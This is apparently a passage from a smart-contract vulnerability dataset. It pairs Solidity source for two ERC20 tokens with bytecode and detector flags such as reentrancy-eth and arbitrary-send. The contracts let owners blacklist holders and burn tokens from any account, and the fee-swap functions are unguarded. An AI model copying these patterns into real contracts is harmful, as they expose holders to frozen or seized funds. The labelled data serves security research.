require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
_feeAddr1 = 10;
_feeAddr2 = 3;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 10;
_feeAddr2 = 3;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function increaseMaxTx(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function addSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c80638a259e6c116100a0578063b515566a11610064578063b515566a14610333578063c3c8cd8014610353578063d91a21a614610368578063dd62ed3e14610388578063e9e1831a146103ce57600080fd5b80638a259e6c146102905780638a8c523c146102a55780638da5cb5b146102ba57806395d89b41146102e2578063a9059cbb1461031357600080fd5b8063313ce567116100e7578063313ce5671461020a5780635932ead1146102265780636fc3eaec1461024657806370a082311461025b578063715018a61461027b57600080fd5b806306fdde031461012f578063095ea7b31461017357806318160ddd146101a357806323b872dd146101c8578063273123b7146101e857600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082019091526009815268536d61636b20496e7560b81b60208201525b60405161016a919061160f565b60405180910390f35b34801561017f57600080fd5b5061019361018e366004611689565b6103e3565b604051901515815260200161016a565b3480156101af57600080fd5b50670de0b6b3a76400005b60405190815260200161016a565b3480156101d457600080fd5b506101936101e33660046116b5565b6103fa565b3480156101f457600080fd5b506102086102033660046116f6565b610463565b005b34801561021657600080fd5b506040516009815260200161016a565b34801561023257600080fd5b50610208610241366004611721565b6104b7565b34801561025257600080fd5b506102086104ff565b34801561026757600080fd5b506101ba6102763660046116f6565b61050c565b34801561028757600080fd5b5061020861052e565b34801561029c57600080fd5b506102086105a2565b3480156102b157600080fd5b5061020861076f565b3480156102c657600080fd5b506000546040516001600160a01b03909116815260200161016a565b3480156102ee57600080fd5b50604080518082019091526008815267534d41434b494e5560c01b602082015261015d565b34801561031f57600080fd5b5061019361032e366004611689565b6107ae565b34801561033f57600080fd5b5061020861034e366004611754565b6107bb565b34801561035f57600080fd5b5061020861090f565b34801561037457600080fd5b50610208610383366004611819565b610925565b34801561039457600080fd5b506101ba6103a3366004611832565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103da57600080fd5b5061020861097f565b60006103f0338484610bc3565b5060015b92915050565b6000610407848484610ce7565b610459843361045485604051806060016040528060288152602001611a2f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611006565b610bc3565b5060019392505050565b6000546001600160a01b031633146104965760405162461bcd60e51b815260040161048d9061186b565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104e15760405162461bcd60e51b815260040161048d9061186b565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761050981611040565b50565b6001600160a01b0381166000908152600260205260408120546103f49061107a565b6000546001600160a01b031633146105585760405162461bcd60e51b815260040161048d9061186b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161048d9061186b565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106083082670de0b6b3a7640000610bc3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610646573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066a91906118a0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106db91906118a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610728573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074c91906118a0565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146107995760405162461bcd60e51b815260040161048d9061186b565b600e805460ff60a01b1916600160a01b179055565b60006103f0338484610ce7565b6000546001600160a01b031633146107e55760405162461bcd60e51b815260040161048d9061186b565b60005b815181101561090b57600d5482516001600160a01b0390911690839083908110610814576108146118bd565b60200260200101516001600160a01b0316141580156108655750600e5482516001600160a01b0390911690839083908110610851576108516118bd565b60200260200101516001600160a01b031614155b801561089c5750306001600160a01b0316828281518110610888576108886118bd565b60200260200101516001600160a01b031614155b156108f9576001600660008484815181106108b9576108b96118bd565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610903816118e9565b9150506107e8565b5050565b600061091a3061050c565b9050610509816110f7565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161048d9061186b565b6000811161095c57600080fd5b6109796064610973670de0b6b3a764000084610af8565b90610b81565b600f5550565b6000546001600160a01b031633146109a95760405162461bcd60e51b815260040161048d9061186b565b600d546001600160a01b031663f305d71947306109c58161050c565b6000806109da6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a42573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a679190611902565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ad4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105099190611930565b600082600003610b0a575060006103f4565b6000610b16838561194d565b905082610b23858361196c565b14610b7a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048d565b9392505050565b6000610b7a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611271565b6001600160a01b038316610c255760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048d565b6001600160a01b038216610c865760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d4b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048d565b6001600160a01b038216610dad5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048d565b60008111610e0f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048d565b6001600160a01b03831660009081526006602052604090205460ff16158015610e5157506001600160a01b03821660009081526006602052604090205460ff16155b610e5a57600080fd5b600a80556003600b556000546001600160a01b03848116911614801590610e8f57506000546001600160a01b03838116911614155b15610ff657600e546001600160a01b038481169116148015610ebf5750600d546001600160a01b03838116911614155b8015610ee457506001600160a01b03821660009081526005602052604090205460ff16155b8015610ef95750600e54600160b81b900460ff165b15610f2357600f54811115610f0d57600080fd5b600e54600160a01b900460ff16610f2357600080fd5b600d546001600160a01b03848116911614801590610f5a57506001600160a01b03831660009081526005602052604090205460ff16155b15610f7f57600e546001600160a01b0390811690831603610f7f57600a80556003600b555b6000610f8a3061050c565b600e54909150600160a81b900460ff16158015610fb55750600e546001600160a01b03858116911614155b8015610fca5750600e54600160b01b900460ff165b15610ff457610fd8816110f7565b476706f05b59d3b20000811115610ff257610ff247611040565b505b505b61100183838361129f565b505050565b6000818484111561102a5760405162461bcd60e51b815260040161048d919061160f565b506000611037848661198e565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561090b573d6000803e3d6000fd5b60006008548211156110e15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161048d565b60006110eb6112aa565b9050610b7a8382610b81565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113f5761113f6118bd565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bc91906118a0565b816001815181106111cf576111cf6118bd565b6001600160a01b039283166020918202929092010152600d546111f59130911684610bc3565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122e9085906000908690309042906004016119a5565b600060405180830381600087803b15801561124857600080fd5b505af115801561125c573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b600081836112925760405162461bcd60e51b815260040161048d919061160f565b506000611037848661196c565b6110018383836112cd565b60008060006112b76113c4565b90925090506112c68282610b81565b9250505090565b6000806000806000806112df87611404565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113119087611461565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134090866114a3565b6001600160a01b03891660009081526002602052604090205561136281611502565b61136c848361154c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b191815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b3a76400006113df8282610b81565b8210156113fb57505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114218a600a54600b54611570565b92509250925060006114316112aa565b905060008060006114448e8787876115bf565b919e509c509a509598509396509194505050505091939550919395565b6000610b7a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611006565b6000806114b08385611a16565b905083811015610b7a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048d565b600061150c6112aa565b9050600061151a8383610af8565b3060009081526002602052604090205490915061153790826114a3565b30600090815260026020526040902055505050565b6008546115599083611461565b60085560095461156990826114a3565b6009555050565b600080808061158460646109738989610af8565b9050600061159760646109738a89610af8565b905060006115af826115a98b86611461565b90611461565b9992985090965090945050505050565b60008080806115ce8886610af8565b905060006115dc8887610af8565b905060006115ea8888610af8565b905060006115fc826115a98686611461565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561163c57858101830151858201604001528201611620565b8181111561164e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461050957600080fd5b803561168481611664565b919050565b6000806040838503121561169c57600080fd5b82356116a781611664565b946020939093013593505050565b6000806000606084860312156116ca57600080fd5b83356116d581611664565b925060208401356116e581611664565b929592945050506040919091013590565b60006020828403121561170857600080fd5b8135610b7a81611664565b801515811461050957600080fd5b60006020828403121561173357600080fd5b8135610b7a81611713565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561176757600080fd5b823567ffffffffffffffff8082111561177f57600080fd5b818501915085601f83011261179357600080fd5b8135818111156117a5576117a561173e565b8060051b604051601f19603f830116810181811085821117156117ca576117ca61173e565b6040529182528482019250838101850191888311156117e857600080fd5b938501935b8285101561180d576117fe85611679565b845293850193928501926117ed565b98975050505050505050565b60006020828403121561182b57600080fd5b5035919050565b6000806040838503121561184557600080fd5b823561185081611664565b9150602083013561186081611664565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118b257600080fd5b8151610b7a81611664565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016118fb576118fb6118d3565b5060010190565b60008060006060848603121561191757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561194257600080fd5b8151610b7a81611713565b6000816000190483118215151615611967576119676118d3565b500290565b60008261198957634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156119a0576119a06118d3565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f55784516001600160a01b0316835293830193918301916001016119d0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a2957611a296118d3565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5ef35e782bd0e1a895490fe077e5ff5ba28e67710b649ccaa060d8950843f7964736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 615 |
0xcEFF85a5c0Dc41960f67108eA0d0526Fa30E46E4 | pragma solidity 0.6.10;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: UNLICENSED
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract AoE is ERC20, Ownable {
constructor ()
public
ERC20 ("Area Of Effect", "AoE", 18) {
_mint(msg.sender, 10000000E18);
}
/**
* @dev Mint new tokens, increasing the total supply and balance of "account"
* Can only be called by the current owner.
*/
function mint(address account, uint256 value) public onlyOwner {
_mint(account, value);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca6104ce565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61021a61059d565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356105a6565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610654565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166106bf565b6102886106da565b6102c0610787565b604080516001600160a01b039092168252519081900360200190f35b61010d61079b565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356107fc565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610863565b6101ae6004803603604081101561035257600080fd5b506001600160a01b0381351690602001356108ac565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166108c2565b610288600480360360208110156103ac57600080fd5b50356001600160a01b03166108ed565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b60006001600160a01b03831661046757600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b0383166000908152600160209081526040808320338452909152812054610508908363ffffffff610a0f16565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610537848484610a24565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105bb57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff6109f616565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200a